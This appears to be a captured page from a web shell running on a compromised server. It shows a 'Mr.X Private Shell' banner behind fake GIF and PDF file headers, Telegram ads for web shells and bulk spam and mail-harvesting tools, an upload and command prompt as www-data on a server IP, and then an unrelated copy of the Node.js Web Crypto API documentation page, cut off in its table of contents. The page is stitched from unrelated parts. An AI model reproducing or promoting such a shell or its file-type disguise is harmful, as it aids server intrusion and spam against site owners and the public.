GIF89; GIF89; %PDF- %PDF- Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.129: ~ $
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width">
  <meta name="nodejs.org:node-version" content="v22.22.0">
  <title>Web Crypto API | Node.js v22.22.0 Documentation</title>
  <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Lato:400,700,400italic&display=fallback">
  <link rel="stylesheet" href="assets/style.css">
  <link rel="stylesheet" href="assets/hljs.css">
  <link rel="canonical" href="https://nodejs.org/api/webcrypto.html">
  <script async defer src="assets/api.js" type="text/javascript"></script>
  <script>
      const storedTheme = localStorage.getItem('theme');

      // Follow operating system theme preference
      if (storedTheme === null && window.matchMedia) {
        const mq = window.matchMedia('(prefers-color-scheme: dark)');
        if (mq.matches) {
          document.documentElement.classList.add('dark-mode');
        }
      } else if (storedTheme === 'dark') {
        document.documentElement.classList.add('dark-mode');
      }
  </script>
  
</head>
<body class="alt apidoc" id="api-section-webcrypto">
  <a href="#apicontent" class="skip-to-content">Skip to content</a>
  <div id="content" class="clearfix">
    <div role="navigation" id="column2" class="interior">
      <div id="intro" class="interior">
        <a href="/" title="Go back to the home page">
          Node.js
        </a>
      </div>
      <ul>
<li><a href="documentation.html" class="nav-documentation">About this documentation</a></li>
<li><a href="synopsis.html" class="nav-synopsis">Usage and example</a></li>
</ul>
<hr class="line">
<ul>
<li><a href="assert.html" class="nav-assert">Assertion testing</a></li>
<li><a href="async_context.html" class="nav-async_context">Asynchronous context tracking</a></li>
<li><a href="async_hooks.html" class="nav-async_hooks">Async hooks</a></li>
<li><a href="buffer.html" class="nav-buffer">Buffer</a></li>
<li><a href="addons.html" class="nav-addons">C++ addons</a></li>
<li><a href="n-api.html" class="nav-n-api">C/C++ addons with Node-API</a></li>
<li><a href="embedding.html" class="nav-embedding">C++ embedder API</a></li>
<li><a href="child_process.html" class="nav-child_process">Child processes</a></li>
<li><a href="cluster.html" class="nav-cluster">Cluster</a></li>
<li><a href="cli.html" class="nav-cli">Command-line options</a></li>
<li><a href="console.html" class="nav-console">Console</a></li>
<li><a href="crypto.html" class="nav-crypto">Crypto</a></li>
<li><a href="debugger.html" class="nav-debugger">Debugger</a></li>
<li><a href="deprecations.html" class="nav-deprecations">Deprecated APIs</a></li>
<li><a href="diagnostics_channel.html" class="nav-diagnostics_channel">Diagnostics Channel</a></li>
<li><a href="dns.html" class="nav-dns">DNS</a></li>
<li><a href="domain.html" class="nav-domain">Domain</a></li>
<li><a href="environment_variables.html" class="nav-environment_variables">Environment Variables</a></li>
<li><a href="errors.html" class="nav-errors">Errors</a></li>
<li><a href="events.html" class="nav-events">Events</a></li>
<li><a href="fs.html" class="nav-fs">File system</a></li>
<li><a href="globals.html" class="nav-globals">Globals</a></li>
<li><a href="http.html" class="nav-http">HTTP</a></li>
<li><a href="http2.html" class="nav-http2">HTTP/2</a></li>
<li><a href="https.html" class="nav-https">HTTPS</a></li>
<li><a href="inspector.html" class="nav-inspector">Inspector</a></li>
<li><a href="intl.html" class="nav-intl">Internationalization</a></li>
<li><a href="modules.html" class="nav-modules">Modules: CommonJS modules</a></li>
<li><a href="esm.html" class="nav-esm">Modules: ECMAScript modules</a></li>
<li><a href="module.html" class="nav-module">Modules: <code>node:module</code> API</a></li>
<li><a href="packages.html" class="nav-packages">Modules: Packages</a></li>
<li><a href="typescript.html" class="nav-typescript">Modules: TypeScript</a></li>
<li><a href="net.html" class="nav-net">Net</a></li>
<li><a href="os.html" class="nav-os">OS</a></li>
<li><a href="path.html" class="nav-path">Path</a></li>
<li><a href="perf_hooks.html" class="nav-perf_hooks">Performance hooks</a></li>
<li><a href="permissions.html" class="nav-permissions">Permissions</a></li>
<li><a href="process.html" class="nav-process">Process</a></li>
<li><a href="punycode.html" class="nav-punycode">Punycode</a></li>
<li><a href="querystring.html" class="nav-querystring">Query strings</a></li>
<li><a href="readline.html" class="nav-readline">Readline</a></li>
<li><a href="repl.html" class="nav-repl">REPL</a></li>
<li><a href="report.html" class="nav-report">Report</a></li>
<li><a href="single-executable-applications.html" class="nav-single-executable-applications">Single executable applications</a></li>
<li><a href="sqlite.html" class="nav-sqlite">SQLite</a></li>
<li><a href="stream.html" class="nav-stream">Stream</a></li>
<li><a href="string_decoder.html" class="nav-string_decoder">String decoder</a></li>
<li><a href="test.html" class="nav-test">Test runner</a></li>
<li><a href="timers.html" class="nav-timers">Timers</a></li>
<li><a href="tls.html" class="nav-tls">TLS/SSL</a></li>
<li><a href="tracing.html" class="nav-tracing">Trace events</a></li>
<li><a href="tty.html" class="nav-tty">TTY</a></li>
<li><a href="dgram.html" class="nav-dgram">UDP/datagram</a></li>
<li><a href="url.html" class="nav-url">URL</a></li>
<li><a href="util.html" class="nav-util">Utilities</a></li>
<li><a href="v8.html" class="nav-v8">V8</a></li>
<li><a href="vm.html" class="nav-vm">VM</a></li>
<li><a href="wasi.html" class="nav-wasi">WASI</a></li>
<li><a href="webcrypto.html" class="nav-webcrypto active">Web Crypto API</a></li>
<li><a href="webstreams.html" class="nav-webstreams">Web Streams API</a></li>
<li><a href="worker_threads.html" class="nav-worker_threads">Worker threads</a></li>
<li><a href="zlib.html" class="nav-zlib">Zlib</a></li>
</ul>
<hr class="line">
<ul>
<li><a href="https://github.com/nodejs/node" class="nav-https-github-com-nodejs-node">Code repository and issue tracker</a></li>
</ul>
    </div>

    <div id="column1" data-id="webcrypto" class="interior">
      <header class="header">
        <div class="header-container">
          <h1>Node.js v22.22.0 documentation</h1>
          <button class="theme-toggle-btn" id="theme-toggle-btn" title="Toggle dark mode/light mode" aria-label="Toggle dark mode/light mode" hidden>
            <svg xmlns="http://www.w3.org/2000/svg" class="icon dark-icon" height="24" width="24">
              <path fill="none" d="M0 0h24v24H0z" />
              <path d="M11.1 12.08c-2.33-4.51-.5-8.48.53-10.07C6.27 2.2 1.98 6.59 1.98 12c0 .14.02.28.02.42.62-.27 1.29-.42 2-.42 1.66 0 3.18.83 4.1 2.15A4.01 4.01 0 0111 18c0 1.52-.87 2.83-2.12 3.51.98.32 2.03.5 3.11.5 3.5 0 6.58-1.8 8.37-4.52-2.36.23-6.98-.97-9.26-5.41z"/>
              <path d="M7 16h-.18C6.4 14.84 5.3 14 4 14c-1.66 0-3 1.34-3 3s1.34 3 3 3h3c1.1 0 2-.9 2-2s-.9-2-2-2z"/>
            </svg>
            <svg xmlns="http://www.w3.org/2000/svg" class="icon light-icon" height="24" width="24">
              <path d="M0 0h24v24H0z" fill="none" />
              <path d="M6.76 4.84l-1.8-1.79-1.41 1.41 1.79 1.79 1.42-1.41zM4 10.5H1v2h3v-2zm9-9.95h-2V3.5h2V.55zm7.45 3.91l-1.41-1.41-1.79 1.79 1.41 1.41 1.79-1.79zm-3.21 13.7l1.79 1.8 1.41-1.41-1.8-1.79-1.4 1.4zM20 10.5v2h3v-2h-3zm-8-5c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6zm-1 16.95h2V19.5h-2v2.95zm-7.45-3.91l1.41 1.41 1.79-1.8-1.41-1.41-1.79 1.8z"/>
            </svg>
          </button>
        </div>
        <div id="gtoc">
          <ul>
            <li class="pinned-header">Node.js v22.22.0</li>
            
    <li class="picker-header">
      <a href="#toc-picker" aria-controls="toc-picker">
        <span class="picker-arrow"></span>
        Table of contents
      </a>

      <div class="picker" tabindex="-1"><div class="toc"><ul id="toc-picker">
<li><span class="stability_2"><a href="#web-crypto-api">Web Crypto API</a></span>
<ul>
<li><a href="#examples">Examples</a>
<ul>
<li><a href="#generating-keys">Generating keys</a>
<ul>
<li><a href="#aes-keys">AES keys</a></li>
<li><a href="#ecdsa-key-pairs">ECDSA key pairs</a></li>
<li><a href="#ed25519x25519-key-pairs">Ed25519/X25519 key pairs</a></li>
<li><a href="#hmac-keys">HMAC keys</a></li>
<li><a href="#rsa-key-pairs">RSA key pairs</a></li>
</ul>
</li>
<li><a href="#encryption-and-decryption">Encryption and decryption</a></li>
<li><a href="#exporting-and-importing-keys">Exporting and importing keys</a></li>
<li><a href="#wrapping-and-unwrapping-keys">Wrapping and unwrapping keys</a></li>
<li><a href="#sign-and-verify">Sign and verify</a></li>
<li><a href="#deriving-bits-and-keys">Deriving bits and keys</a></li>
<li><a href="#digest">Digest</a></li>
</ul>
</li>
<li><a href="#algorithm-matrix">Algorithm matrix</a></li>
<li><a href="#class-crypto">Class: <code>Crypto</code></a>
<ul>
<li><a href="#cryptosubtle"><code>crypto.subtle</code></a></li>
<li><a href="#cryptogetrandomvaluestypedarray"><code>crypto.getRandomValues(typedArray)</code></a></li>
<li><a href="#cryptorandomuuid"><code>crypto.randomUUID()</code></a></li>
</ul>
</li>
<li><a href="#class-cryptokey">Class: <code>CryptoKey</code></a>
<ul>
<li><a href="#cryptokeyalgorithm"><code>cryptoKey.algorithm</code></a></li>
<li><a href="#cryptokeyextractable"><code>cryptoKey.extractable</code></a></li>
<li><a href="#cryptokeytype"><code>cryptoKey.type</code></a></li>
<li><a href="#cryptokeyusages"><code>cryptoKey.usages</code></a></li>
</ul>
</li>
<li><a href="#class-cryptokeypair">Class: <code>CryptoKeyPair</code></a>
<ul>
<li><a href="#cryptokeypairprivatekey"><code>cryptoKeyPair.privateKey</code></a></li>
<li><a href="#cryptokeypairpublickey"><code>cryptoKeyPair.publicKey</code></a></li>
</ul>
</li>
<li><a href="#class-subtlecrypto">Class: <code>SubtleCrypto</code></a>
<ul>
<li><a href="#subtledecryptalgorithm-key-data"><code>subtle.decrypt(algorithm, key, data)</code></a></li>
<li><a href="#subtlederivebitsalgorithm-basekey-length"><code>subtle.deriveBits(algorithm, baseKey[, length])</code></a></li>
<li><a href="#subtlederivekeyalgorithm-basekey-derivedkeyalgorithm-extractable-keyusages"><code>subtle.deriveKey(algorithm, baseKey, derivedKeyAlgorithm, extractable, keyUsages)</code></a></li>
<li><a href="#subtledigestalgorithm-data"><code>subtle.digest(algorithm, data)</code></a></li>
<li><a href="#subtleencryptalgorithm-key-data"><code>subtle.encrypt(algorithm, key, data)</code></a></li>
<li><a href="#subtleexportkeyformat-key"><code>subtle.exportKey(format, key)</code></a></li>
<li><a href="#subtlegeneratekeyalgorithm-extractable-keyusages"><code>subtle.generateKey(algorithm, extractable, keyUsages)</code></a></li>
<li><a href="#subtleimportkeyformat-keydata-algorithm-extractable-keyusages"><code>subtle.importKey(format, keyData, algorithm, extractable, keyUsages)</code></a></li>
<li><a href="#subtlesignalgorithm-key-data"><code>subtle.sign(algorithm, key, data)</code></a></li>
<li><a href="#subtleunwrapkeyformat-wrappedkey-unwrappingkey-unwrapalgo-unwrappedkeyalgo-extractable-keyusages"><code>subtle.unwrapKey(format, wrappedKey, unwrappingKey, unwrapAlgo, unwrappedKeyAlgo, extractable, keyUsages)</code></a></li>
<li><a href="#subtleverifyalgorithm-key-signature-data"><code>subtle.verify(algorithm, key, signature, data)</code></a></li>
<li><a href="#subtlewrapkeyformat-key-wrappingkey-wrapalgo"><code>subtle.wrapKey(format, key, wrappingKey, wrapAlgo)</code></a></li>
</ul>
</li>
<li><a href="#algorithm-parameters">Algorithm parameters</a>
<ul>
<li><a href="#class-algorithm">Class: <code>Algorithm</code></a>
<ul>
<li><a href="#algorithmname"><code>Algorithm.name</code></a></li>
</ul>
</li>
<li><a href="#class-aesderivedkeyparams">Class: <code>AesDerivedKeyParams</code></a>
<ul>
<li><a href="#aesderivedkeyparamsname"><code>aesDerivedKeyParams.name</code></a></li>
<li><a href="#aesderivedkeyparamslength"><code>aesDerivedKeyParams.length</code></a></li>
</ul>
</li>
<li><a href="#class-aescbcparams">Class: <code>AesCbcParams</code></a>
<ul>
<li><a href="#aescbcparamsiv"><code>aesCbcParams.iv</code></a></li>
<li><a href="#aescbcparamsname"><code>aesCbcParams.name</code></a></li>
</ul>
</li>
<li><a href="#class-aesctrparams">Class: <code>AesCtrParams</code></a>
<ul>
<li><a href="#aesctrparamscounter"><code>aesCtrParams.counter</code></a></li>
<li><a href="#aesctrparamslength"><code>aesCtrParams.length</code></a></li>
<li><a href="#aesctrparamsname"><code>aesCtrParams.name</code></a></li>
</ul>
</li>
<li><a href="#class-aesgcmparams">Class: <code>AesGcmParams</code></a>
<ul>
<li><a href="#aesgcmparamsadditionaldata"><code>aesGcmParams.additionalData</code></a></li>
<li><a href="#aesgcmparamsiv"><code>aesGcmParams.iv</code></a></li>
<li><a href="#aesgcmparamsname"><code>aesGcmParams.name</code></a></li>
<li><a href="#aesgcmparamstaglength"><code>aesGcmParams.tagLength</code></a></li>
</ul>
</li>
<li><a href="#class-aeskeyalgorithm">Class: <code>AesKeyAlgorithm</code></a>
<ul>
<li><a href="#aeskeyalgorithmlength"><code>aesKeyAlgorithm.length</code></a></li>
<li><a href="#aeskeyalgorithmname"><code>aesKeyAlgorithm.name</code></a></li>
</ul>
</li>
<li><a href="#class-aeskeygenparams">Class: <code>AesKeyGenParams</code></a>
<ul>
<li><a href="#aeskeygenparamslength"><code>aesKeyGenParams.length</code></a></li>
<li><a href="#aeskeygenparamsname"><code>aesKeyGenParams.name</code></a></li>
</ul>
</li>
<li><a href="#class-ecdhkeyderiveparams">Class: <code>EcdhKeyDeriveParams</code></a>
<ul>
<li><a href="#ecdhkeyderiveparamsname"><code>ecdhKeyDeriveParams.name</code></a></li>
<li><a href="#ecdhkeyderiveparamspublic"><code>ecdhKeyDeriveParams.public</code></a></li>
</ul>
</li>
<li><a href="#class-ecdsaparams">Class: <code>EcdsaParams</code></a>
<ul>
<li><a href="#ecdsaparamshash"><code>ecdsaParams.hash</code></a></li>
<li><a href="#ecdsaparamsname"><code>ecdsaParams.name</code></a></li>
</ul>
</li>
<li><a href="#class-eckeyalgorithm">Class: <code>EcKeyAlgorithm</code></a>
<ul>
<li><a href="#eckeyalgorithmname"><code>ecKeyAlgorithm.name</code></a></li>
<li><a href="#eckeyalgorithmnamedcurve"><code>ecKeyAlgorithm.namedCurve</code></a></li>
</ul>
</li>
<li><a href="#class-eckeygenparams">Class: <code>EcKeyGenParams</code></a>
<ul>
<li><a href="#eckeygenparamsname"><code>ecKeyGenParams.name</code></a></li>
<li><a href="#eckeygenparamsnamedcurve"><code>ecKeyGenParams.namedCurve</code></a></li>
</ul>
</li>
<li><a href="#class-eckeyimportparams">Class: <code>EcKeyImportParams</code></a>
<ul>
<li><a href="#eckeyimportparamsname"><code>ecKeyImportParams.name</code></a></li>
<li><a href="#eckeyimportparamsnamedcurve"><code>ecKeyImportParams.namedCurve</code></a></li>
</ul>
</li>
<li><a href="#class-ed448params">Class: <code>Ed448Params</code></a>
<ul>
<li><a href="#ed448paramsname"><code>ed448Params.name</code></a></li>
<li><a href="#ed448paramscontext"><code>ed448Params.context</code></a></li>
</ul>
</li>
<li><a href="#class-hkdfparams">Class: <code>HkdfParams</code></a>
<ul>
<li><a href="#hkdfparamshash"><code>hkdfParams.hash</code></a></li>
<li><a href="#hkdfparamsinfo"><code>hkdfParams.info</code></a></li>
<li><a href="#hkdfparamsname"><code>hkdfParams.name</code></a></li>
<li><a href="#hkdfparamssalt"><code>hkdfParams.salt</code></a></li>
</ul>
</li>
<li><a href="#class-hmacimportparams">Class: <code>HmacImportParams</code></a>
<ul>
<li><a href="#hmacimportparamshash"><code>hmacImportParams.hash</code></a></li>
<li><a href="#hmacimportparamslength"><code>hmacImportParams.length</code></a></li>
<li><a href="#hmacimportparamsname"><code>hmacImportParams.name</code></a></li>
</ul>
</li>
<li><a href="#class-hmackeyalgorithm">Class: <code>HmacKeyAlgorithm</code></a>
<ul>
<li><a href="#hmackeyalgorithmhash"><code>hmacKeyAlgorithm.hash</code></a></li>
<li><a href="#hmackeyalgorithmlength"><code>hmacKeyAlgorithm.length</code></a></li>
<li><a href="#hmackeyalgorithmname"><code>hmacKeyAlgorithm.name</code></a></li>
</ul>
</li>
<li><a href="#class-hmackeygenparams">Class: <code>HmacKeyGenParams</code></a>
<ul>
<li><a href="#hmackeygenparamshash"><code>hmacKeyGenParams.hash</code></a></li>
<li><a href="#hmackeygenparamslength"><code>hmacKeyGenParams.length</code></a></li>
<li><a href="#hmackeygenparamsname"><code>hmacKeyGenParams.name</code></a></li>
</ul>
</li>
<li><a href="#class-keyalgorithm">Class: <code>KeyAlgorithm</code></a>
<ul>
<li><a href="#keyalgorithmname"><code>keyAlgorithm.name</code></a></li>
</ul>
</li>
<li><a href="#class-pbkdf2params">Class: <code>Pbkdf2Params</code></a>
<ul>
<li><a href="#pbkdf2paramshash"><code>pbkdf2Params.hash</code></a></li>
<li><a href="#pbkdf2paramsiterations"><code>pbkdf2Params.iterations</code></a></li>
<li><a href="#pbkdf2paramsname"><code>pbkdf2Params.name</code></a></li>
<li><a href="#pbkdf2paramssalt"><code>pbkdf2Params.salt</code></a></li>
</ul>
</li>
<li><a href="#class-rsahashedimportparams">Class: <code>RsaHashedImportParams</code></a>
<ul>
<li><a href="#rsahashedimportparamshash"><code>rsaHashedImportParams.hash</code></a></li>
<li><a href="#rsahashedimportparamsname"><code>rsaHashedImportParams.name</code></a></li>
</ul>
</li>
<li><a href="#class-rsahashedkeyalgorithm">Class: <code>RsaHashedKeyAlgorithm</code></a>
<ul>
<li><a href="#rsahashedkeyalgorithmhash"><code>rsaHashedKeyAlgorithm.hash</code></a></li>
<li><a href="#rsahashedkeyalgorithmmoduluslength"><code>rsaHashedKeyAlgorithm.modulusLength</code></a></li>
<li><a href="#rsahashedkeyalgorithmname"><code>rsaHashedKeyAlgorithm.name</code></a></li>
<li><a href="#rsahashedkeyalgorithmpublicexponent"><code>rsaHashedKeyAlgorithm.publicExponent</code></a></li>
</ul>
</li>
<li><a href="#class-rsahashedkeygenparams">Class: <code>RsaHashedKeyGenParams</code></a>
<ul>
<li><a href="#rsahashedkeygenparamshash"><code>rsaHashedKeyGenParams.hash</code></a></li>
<li><a href="#rsahashedkeygenparamsmoduluslength"><code>rsaHashedKeyGenParams.modulusLength</code></a></li>
<li><a href="#rsahashedkeygenparamsname"><code>rsaHashedKeyGenParams.name</code></a></li>
<li><a href="#rsahashedkeygenparamspublicexponent"><code>rsaHashedKeyGenParams.publicExponent</code></a></li>
</ul>
</li>
<li><a href="#class-rsaoaepparams">Class: <code>RsaOaepParams</code></a>
<ul>
<li><a href="#rsaoaepparamslabel"><code>rsaOaepParams.label</code></a></li>
<li><a href="#rsaoaepparamsname"><code>rsaOaepParams.name</code></a></li>
</ul>
</li>
<li><a href="#class-rsapssparams">Class: <code>RsaPssParams</code></a>
<ul>
<li><a href="#rsapssparamsname"><code>rsaPssParams.name</code></a></li>
<li><a href="#rsapssparamssaltlength"><code>rsaPssParams.saltLength</code></a></li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul></div></div>
    </li>
  
            
    <li class="picker-header">
      <a href="#gtoc-picker" aria-controls="gtoc-picker">
        <span class="picker-arrow"></span>
        Index
      </a>

      <div class="picker" tabindex="-1" id="gtoc-picker"><ul>
<li><a href="documentation.html" class="nav-documentation">About this documentation</a></li>
<li><a href="synopsis.html" class="nav-synopsis">Usage and example</a></li>

      <li>
        <a href="index.html">Index</a>
      </li>
    </ul>
  
<hr class="line">
<ul>
<li><a href="assert.html" class="nav-assert">Assertion testing</a></li>
<li><a href="async_context.html" class="nav-async_context">Asynchronous context tracking</a></li>
<li><a href="async_hooks.html" class="nav-async_hooks">Async hooks</a></li>
<li><a href="buffer.html" class="nav-buffer">Buffer</a></li>
<li><a href="addons.html" class="nav-addons">C++ addons</a></li>
<li><a href="n-api.html" class="nav-n-api">C/C++ addons with Node-API</a></li>
<li><a href="embedding.html" class="nav-embedding">C++ embedder API</a></li>
<li><a href="child_process.html" class="nav-child_process">Child processes</a></li>
<li><a href="cluster.html" class="nav-cluster">Cluster</a></li>
<li><a href="cli.html" class="nav-cli">Command-line options</a></li>
<li><a href="console.html" class="nav-console">Console</a></li>
<li><a href="crypto.html" class="nav-crypto">Crypto</a></li>
<li><a href="debugger.html" class="nav-debugger">Debugger</a></li>
<li><a href="deprecations.html" class="nav-deprecations">Deprecated APIs</a></li>
<li><a href="diagnostics_channel.html" class="nav-diagnostics_channel">Diagnostics Channel</a></li>
<li><a href="dns.html" class="nav-dns">DNS</a></li>
<li><a href="domain.html" class="nav-domain">Domain</a></li>
<li><a href="environment_variables.html" class="nav-environment_variables">Environment Variables</a></li>
<li><a href="errors.html" class="nav-errors">Errors</a></li>
<li><a href="events.html" class="nav-events">Events</a></li>
<li><a href="fs.html" class="nav-fs">File system</a></li>
<li><a href="globals.html" class="nav-globals">Globals</a></li>
<li><a href="http.html" class="nav-http">HTTP</a></li>
<li><a href="http2.html" class="nav-http2">HTTP/2</a></li>
<li><a href="https.html" class="nav-https">HTTPS</a></li>
<li><a href="inspector.html" class="nav-inspector">Inspector</a></li>
<li><a href="intl.html" class="nav-intl">Internationalization</a></li>
<li><a href="modules.html" class="nav-modules">Modules: CommonJS modules</a></li>
<li><a href="esm.html" class="nav-esm">Modules: ECMAScript modules</a></li>
<li><a href="module.html" class="nav-module">Modules: <code>node:module</code> API</a></li>
<li><a href="packages.html" class="nav-packages">Modules: Packages</a></li>
<li><a href="typescript.html" class="nav-typescript">Modules: TypeScript</a></li>
<li><a href="net.html" class="nav-net">Net</a></li>
<li><a href="os.html" class="nav-os">OS</a></li>
<li><a href="path.html" class="nav-path">Path</a></li>
<li><a href="perf_hooks.html" class="nav-perf_hooks">Performance hooks</a></li>
<li><a href="permissions.html" class="nav-permissions">Permissions</a></li>
<li><a href="process.html" class="nav-process">Process</a></li>
<li><a href="punycode.html" class="nav-punycode">Punycode</a></li>
<li><a href="querystring.html" class="nav-querystring">Query strings</a></li>
<li><a href="readline.html" class="nav-readline">Readline</a></li>
<li><a href="repl.html" class="nav-repl">REPL</a></li>
<li><a href="report.html" class="nav-report">Report</a></li>
<li><a href="single-executable-applications.html" class="nav-single-executable-applications">Single executable applications</a></li>
<li><a href="sqlite.html" class="nav-sqlite">SQLite</a></li>
<li><a href="stream.html" class="nav-stream">Stream</a></li>
<li><a href="string_decoder.html" class="nav-string_decoder">String decoder</a></li>
<li><a href="test.html" class="nav-test">Test runner</a></li>
<li><a href="timers.html" class="nav-timers">Timers</a></li>
<li><a href="tls.html" class="nav-tls">TLS/SSL</a></li>
<li><a href="tracing.html" class="nav-tracing">Trace events</a></li>
<li><a href="tty.html" class="nav-tty">TTY</a></li>
<li><a href="dgram.html" class="nav-dgram">UDP/datagram</a></li>
<li><a href="url.html" class="nav-url">URL</a></li>
<li><a href="util.html" class="nav-util">Utilities</a></li>
<li><a href="v8.html" class="nav-v8">V8</a></li>
<li><a href="vm.html" class="nav-vm">VM</a></li>
<li><a href="wasi.html" class="nav-wasi">WASI</a></li>
<li><a href="webcrypto.html" class="nav-webcrypto active">Web Crypto API</a></li>
<li><a href="webstreams.html" class="nav-webstreams">Web Streams API</a></li>
<li><a href="worker_threads.html" class="nav-worker_threads">Worker threads</a></li>
<li><a href="zlib.html" class="nav-zlib">Zlib</a></li>
</ul>
<hr class="line">
<ul>
<li><a href="https://github.com/nodejs/node" class="nav-https-github-com-nodejs-node">Code repository and issue tracker</a></li>
</ul></div>
    </li>
  
            
    <li class="picker-header">
      <a href="#alt-docs" aria-controls="alt-docs">
        <span class="picker-arrow"></span>
        Other versions
      </a>
      <div class="picker" tabindex="-1"><ol id="alt-docs"><li><a href="https://nodejs.org/docs/latest-v25.x/api/webcrypto.html">25.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v24.x/api/webcrypto.html">24.x <b>LTS</b></a></li>
<li><a href="https://nodejs.org/docs/latest-v23.x/api/webcrypto.html">23.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v22.x/api/webcrypto.html">22.x <b>LTS</b></a></li>
<li><a href="https://nodejs.org/docs/latest-v21.x/api/webcrypto.html">21.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v20.x/api/webcrypto.html">20.x <b>LTS</b></a></li>
<li><a href="https://nodejs.org/docs/latest-v19.x/api/webcrypto.html">19.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v18.x/api/webcrypto.html">18.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v17.x/api/webcrypto.html">17.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v16.x/api/webcrypto.html">16.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v15.x/api/webcrypto.html">15.x</a></li></ol></div>
    </li>
  
            <li class="picker-header">
              <a href="#options-picker" aria-controls="options-picker">
                <span class="picker-arrow"></span>
                Options
              </a>
        
              <div class="picker" tabindex="-1">
                <ul id="options-picker">
                  <li>
                    <a href="all.html">View on single page</a>
                  </li>
                  <li>
                    <a href="webcrypto.json">View as JSON</a>
                  </li>
                  <li class="edit_on_github"><a href="https://github.com/nodejs/node/edit/main/doc/api/webcrypto.md">Edit on GitHub</a></li>    
                </ul>
              </div>
            </li>
          </ul>
        </div>
        <hr>
      </header>

      <details role="navigation" id="toc" open><summary>Table of contents</summary><ul>
<li><span class="stability_2"><a href="#web-crypto-api">Web Crypto API</a></span>
<ul>
<li><a href="#examples">Examples</a>
<ul>
<li><a href="#generating-keys">Generating keys</a>
<ul>
<li><a href="#aes-keys">AES keys</a></li>
<li><a href="#ecdsa-key-pairs">ECDSA key pairs</a></li>
<li><a href="#ed25519x25519-key-pairs">Ed25519/X25519 key pairs</a></li>
<li><a href="#hmac-keys">HMAC keys</a></li>
<li><a href="#rsa-key-pairs">RSA key pairs</a></li>
</ul>
</li>
<li><a href="#encryption-and-decryption">Encryption and decryption</a></li>
<li><a href="#exporting-and-importing-keys">Exporting and importing keys</a></li>
<li><a href="#wrapping-and-unwrapping-keys">Wrapping and unwrapping keys</a></li>
<li><a href="#sign-and-verify">Sign and verify</a></li>
<li><a href="#deriving-bits-and-keys">Deriving bits and keys</a></li>
<li><a href="#digest">Digest</a></li>
</ul>
</li>
<li><a href="#algorithm-matrix">Algorithm matrix</a></li>
<li><a href="#class-crypto">Class: <code>Crypto</code></a>
<ul>
<li><a href="#cryptosubtle"><code>crypto.subtle</code></a></li>
<li><a href="#cryptogetrandomvaluestypedarray"><code>crypto.getRandomValues(typedArray)</code></a></li>
<li><a href="#cryptorandomuuid"><code>crypto.randomUUID()</code></a></li>
</ul>
</li>
<li><a href="#class-cryptokey">Class: <code>CryptoKey</code></a>
<ul>
<li><a href="#cryptokeyalgorithm"><code>cryptoKey.algorithm</code></a></li>
<li><a href="#cryptokeyextractable"><code>cryptoKey.extractable</code></a></li>
<li><a href="#cryptokeytype"><code>cryptoKey.type</code></a></li>
<li><a href="#cryptokeyusages"><code>cryptoKey.usages</code></a></li>
</ul>
</li>
<li><a href="#class-cryptokeypair">Class: <code>CryptoKeyPair</code></a>
<ul>
<li><a href="#cryptokeypairprivatekey"><code>cryptoKeyPair.privateKey</code></a></li>
<li><a href="#cryptokeypairpublickey"><code>cryptoKeyPair.publicKey</code></a></li>
</ul>
</li>
<li><a href="#class-subtlecrypto">Class: <code>SubtleCrypto</code></a>
<ul>
<li><a href="#subtledecryptalgorithm-key-data"><code>subtle.decrypt(algorithm, key, data)</code></a></li>
<li><a href="#subtlederivebitsalgorithm-basekey-length"><code>subtle.deriveBits(algorithm, baseKey[, length])</code></a></li>
<li><a href="#subtlederivekeyalgorithm-basekey-derivedkeyalgorithm-extractable-keyusages"><code>subtle.deriveKey(algorithm, baseKey, derivedKeyAlgorithm, extractable, keyUsages)</code></a></li>
<li><a href="#subtledigestalgorithm-data"><code>subtle.digest(algorithm, data)</code></a></li>
<li><a href="#subtleencryptalgorithm-key-data"><code>subtle.encrypt(algorithm, key, data)</code></a></li>
<li><a href="#subtleexportkeyformat-key"><code>subtle.exportKey(format, key)</code></a></li>
<li><a href="#subtlegeneratekeyalgorithm-extractable-keyusages"><code>subtle.generateKey(algorithm, extractable, keyUsages)</code></a></li>
<li><a href="#subtleimportkeyformat-keydata-algorithm-extractable-keyusages"><code>subtle.importKey(format, keyData, algorithm, extractable, keyUsages)</code></a></li>
<li><a href="#subtlesignalgorithm-key-data"><code>subtle.sign(algorithm, key, data)</code></a></li>
<li><a href="#subtleunwrapkeyformat-wrappedkey-unwrappingkey-unwrapalgo-unwrappedkeyalgo-extractable-keyusages"><code>subtle.unwrapKey(format, wrappedKey, unwrappingKey, unwrapAlgo, unwrappedKeyAlgo, extractable, keyUsages)</code></a></li>
<li><a href="#subtleverifyalgorithm-key-signature-data"><code>subtle.verify(algorithm, key, signature, data)</code></a></li>
<li><a href="#subtlewrapkeyformat-key-wrappingkey-wrapalgo"><code>subtle.wrapKey(format, key, wrappingKey, wrapAlgo)</code></a></li>
</ul>
</li>
<li><a href="#algorithm-parameters">Algorithm parameters</a>
<ul>
<li><a href="#class-algorithm">Class: <code>Algorithm</code></a>
<ul>
<li><a href="#algorithmname"><code>Algorithm.name</code></a></li>
</ul>
</li>
